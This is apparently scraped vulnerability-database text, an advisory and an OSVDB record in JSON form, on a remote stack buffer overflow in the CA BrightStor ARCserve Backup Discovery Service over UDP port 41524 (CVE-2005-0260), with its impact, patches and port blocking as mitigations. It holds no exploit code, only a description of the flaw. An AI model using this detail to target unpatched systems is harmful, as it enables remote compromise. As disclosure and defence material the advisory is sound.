The ARCserve Backup Discovery Service fails to properly check incoming network traffic on 41524/udp, creating a buffer overflow vulnerability.\n\nExploit code for this vulnerability is publicly available. \n \n--- \n \n### Impact \n\nA remote, unauthenticated attacker may be able to execute arbitrary code on a system running the vulnerable software. \n \n--- \n \n### Solution \n\n**Upgrade or patch** \nUpgrade or install patches, as recommended by the [Computer Associates vulnerability 32056 description](<http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?ID=32056>). \n \n--- \n \n \n**Restrict access** \n \nYou may wish to block access to the vulnerable software from outside your network perimeter, specifically by blocking access to the ports used by the Discovery Service (typically 41524/udp). This will limit your exposure to attacks. However, blocking at the network perimeter would still allow attackers within the perimeter of your network to exploit the vulnerability. The use of host-based firewalls in addition to network-based firewalls can help restrict access to specific hosts within the network. It is important to understand your network's configuration and service requirements before deciding what changes are appropriate. \n \n--- \n \n### Vendor Information\n\n864801\n\nFilter by status: All Affected Not Affected Unknown\n\nFilter by content: __ Vendor has issued information\n\n__ Sort by: Status Alphabetical\n\nExpand all\n\n__ Affected __ Unknown __ Unaffected \n\n**Javascript is disabled.

The discovery service fails to properly check buffer boundries resulting in a stack overflow. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of integrity.\n## Technical Description\nThe ARCserver Backup server uses a Discovery server to detect other backup servers on the local network. The Discovery service listens on UDP port 41524. While the Discovery service can accept packets up to 4k bytes (via the recvfrom() call), it copies this data to a smaller (1k byte) buffer to be processed.\n## Solution Description\nCurrently, there are no known workarounds or upgrades to correct this issue. However, Computer Associate has released a patch to address this vulnerability.\n## Short Description\nA remote overflow exists in BrightStor ARCserve Backup. The discovery service fails to properly check buffer boundries resulting in a stack overflow. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of integrity.\n## References:\nVendor URL: http://www.ca.com/\n[Vendor Specific Advisory URL](http://supportconnect.ca.com/sc/solcenter/sol_detail.jsp?aparno=QO62769&os=NT&returninput=0)\nSecurity Tracker: 1013138\n[Secunia Advisory ID:14183](https://secuniaresearch.flexerasoftware.com/advisories/14183/)\nOther Advisory URL: http://www.idefense.com/application/poi/display?id=194&type=vulnerabilities&flashstatus=true\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2005-02/0123.html\nKeyword: UDP Port 41524\n[CVE-2005-0260](https://vulners.com/cve/CVE-2005-0260)\n", "modified": "2004-12-20T09:11:53", "published": "2004-12-20T09:11:53", "href": "https://vulners.com/osvdb/OSVDB:13613", "id": "OSVDB:13613", "title": "CA BrightStor ARCserve Backup Discovery Service Buffer Overflow", "type": "osvdb", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}]}
